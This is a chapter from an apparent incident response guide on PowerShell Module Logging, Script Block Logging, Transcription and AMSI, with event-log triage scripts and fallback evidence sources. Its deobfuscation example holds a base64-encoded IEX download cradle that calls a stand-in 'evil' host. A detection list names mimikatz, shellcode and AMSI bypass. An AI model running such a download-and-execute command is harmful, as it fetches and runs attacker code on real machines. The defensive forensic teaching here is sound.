Chapter 36

PowerShell Logging Deep Dive

PowerShell has three distinct logging mechanisms — Module Logging, Script Block Logging, and Transcription — each capturing different levels of detail. When all three are enabled, PowerShell-based attacks are almost completely reconstructable even if the scripts were never saved to disk. This chapter covers what each logs, where to find it, and how to analyze it.

Scenario

An attacker used a fileless PowerShell attack: no .ps1 files on disk, all code loaded from memory via IEX (Invoke-Expression) from a web request. Event ID 4688 shows powershell.exe -enc [base64]. Decoding the base64 gives another base64 layer. Script Block Logging captured the final decoded payload — the fully deobfuscated script that ran in memory, logged by the PowerShell engine itself after deobfuscation. Without Script Block Logging, this attack would have been nearly invisible at the endpoint level.

The Three PowerShell Logging Mechanisms

  PowerShell Logging Architecture
  ═══════════════════════════════════════════════════════════════════

  1. Module Logging (Event ID 4103)
     ├── What: Pipeline execution events — cmdlet names, parameters, output
     ├── Where: Microsoft-Windows-PowerShell/Operational
     ├── Enabled via: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
     ├── Enabled by: EnableModuleLogging = 1, ModuleNames = *
     └── Value: Shows which cmdlets ran with what parameters
               IEX, Invoke-WebRequest, Add-Type, etc. all logged

  2. Script Block Logging (Event ID 4104)
     ├── What: Full content of every PowerShell script block executed
     │         INCLUDING blocks deobfuscated at runtime by the PS engine
     ├── Where: Microsoft-Windows-PowerShell/Operational
     ├── Enabled via: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
     ├── Enabled by: EnableScriptBlockLogging = 1
     └── Value: THE most valuable PS log — captures fileless attack payloads
               Shows exact code even if encoded/obfuscated on command line

  3. Transcription Logging
     ├── What: Full text transcript of the PS session (input + output)
     ├── Where: Text files in configured directory (e.g., C:\PSTranscripts\)
     ├── Enabled via: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription
     ├── Enabled by: EnableTranscripting = 1, OutputDirectory = path
     └── Value: Human-readable "screen recording" of interactive PS sessions
               Shows attacker's interactive commands and their output

  AMSI (Anti-Malware Scan Interface):
     ├── Not a log — scans PowerShell (and other scripting engines) content
     ├── Passes decoded script to AV engine for scanning before execution
     └── If AV fires on AMSI scan → PS execution blocked + AV alert logged

Analyzing Script Block Logs (Event 4104)

PowerShellscriptblock-analysis.ps1
# Analyze PowerShell Script Block logs (Event 4104)
# Run on the analyzed system or against evtx export

$StartTime = [DateTime]::Parse("2026-09-17T00:00:00Z")
$EndTime   = [DateTime]::Parse("2026-09-18T00:00:00Z")

# Get all Script Block events in the window
$scriptBlocks = Get-WinEvent -FilterHashtable @{
    LogName   = "Microsoft-Windows-PowerShell/Operational"
    Id        = 4104
    StartTime = $StartTime
    EndTime   = $EndTime
} -ErrorAction SilentlyContinue

Write-Host "Script Block events: $($scriptBlocks.Count)"

# Extract and decode script content
$scriptBlocks | ForEach-Object {
    $msg = $_.Message
    # Event 4104 message contains the script block content
    $content = ($msg -split "ScriptBlock ID:")[0]

    # Flag suspicious patterns
    $suspicious = @(
        "IEX", "Invoke-Expression",
        "DownloadString", "DownloadFile",
        "WebClient", "Net.WebRequest",
        "FromBase64String", "-enc",
        "Reflection.Assembly", "Load",
        "shellcode", "VirtualAlloc",
        "CreateThread", "mimikatz",
        "Bypass", "AMSI", "bypass"
    )

    $flags = $suspicious | Where-Object { $content -imatch $_ }

    if ($flags) {
        [PSCustomObject]@{
            Time       = $_.TimeCreated
            ScriptLen  = $content.Length
            Indicators = $flags -join ", "
            Preview    = ($content -replace '\s+', ' ').Substring(0, [Math]::Min(200, $content.Length))
        }
    }
} | Sort-Object Time | Export-Csv "D:\analysis\suspicious-scriptblocks.csv" -NoTypeInformation

Analysis from Collected EVTX Files

Bashps-log-analysis.sh
TRIAGE="/cases/CASE-2026-009/triage"
PS_LOG="$TRIAGE/evtx/Microsoft-Windows-PowerShell-Operational.evtx"

# Parse with EvtxECmd
EvtxECmd.exe -f "$PS_LOG" \
    --csv "$TRIAGE/evtx-parsed/" \
    --csvf ps-operational.csv \
    --inc 4103,4104

# PowerShell script block events to grep for IOCs:
# (after export to CSV)
$csv = Import-Csv "$TRIAGE/evtx-parsed/ps-operational.csv"

# Filter to 4104 events with suspicious content
$csv | Where-Object {
    $_.EventId -eq "4104" -and
    $_.PayloadData1 -match "IEX|DownloadString|FromBase64|WebClient|shellcode|mimikatz"
} | Select-Object TimeCreated, PayloadData1 | Format-List

Deobfuscating PowerShell Payloads

PowerShellps-deobfuscate.ps1
# Decode common PowerShell obfuscation layers safely
# Run in an isolated VM — never on a production system

# Layer 1: Base64 encoded command (-enc or -EncodedCommand)
$encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZQBpAGwALgBlAHYAaQBsAC8AcABhAHkAbABvAGEAZAAiACkA"
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded))
Write-Host "Decoded: $decoded"
# Note: Unicode (UTF-16LE) encoding, not UTF-8

# Layer 2: String concatenation obfuscation
# "I"+"EX"+" "+"(N"+"ew-"+"Ob"+"je"+"ct Net.WebClient)"
# PowerShell's Invoke-Expression of a string-concatenated command
# Script Block Logging captures this AFTER concatenation — see the real command

# Layer 3: Char array obfuscation
# [char[]](73,69,88,...) — array of ASCII codes joined to string
$chars = [char[]](73,69,88)
$chars -join ""  # → "IEX"

# Layer 4: SecureString conversion (rare but seen in real malware)
# Script Block Logging captures post-conversion value

# Safe analysis: paste the encoded string into CyberChef (offline VM)
# or use PowerShell's own deobfuscation capabilities to decode without running:
# Never run unknown scripts directly — even in a VM if it's network-connected

Q & A

Q: Script Block Logging wasn't enabled on the compromised system. What's the fallback for recovering PowerShell activity?

Multiple fallback sources provide partial visibility: (1) Event 4688 (Process Creation) with command line logging shows the raw command line — including any -encodedcommand value. You can decode the base64 from the 4688 log even without Script Block Logging. (2) AMSI telemetry: if the host has Windows Defender or another AMSI-aware AV, the AV product may have logged the deobfuscated script content when it scanned it (even if it didn't block it). Check AV event logs. (3) ConsoleHost_history.txt: PowerShell stores interactive command history in %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. For interactive attacker sessions, this may capture exactly what they typed. (4) Prefetch: Prefetch for powershell.exe shows when it ran and lists loaded DLLs/scripts it accessed, giving some execution evidence. (5) Module logging (4103): may be enabled even when Script Block (4104) isn't — shows cmdlet names and parameters. (6) Memory analysis: if the system hasn't been rebooted, memory forensics (Volatility) may still find the script in powershell.exe process heap. This was covered in Part 3.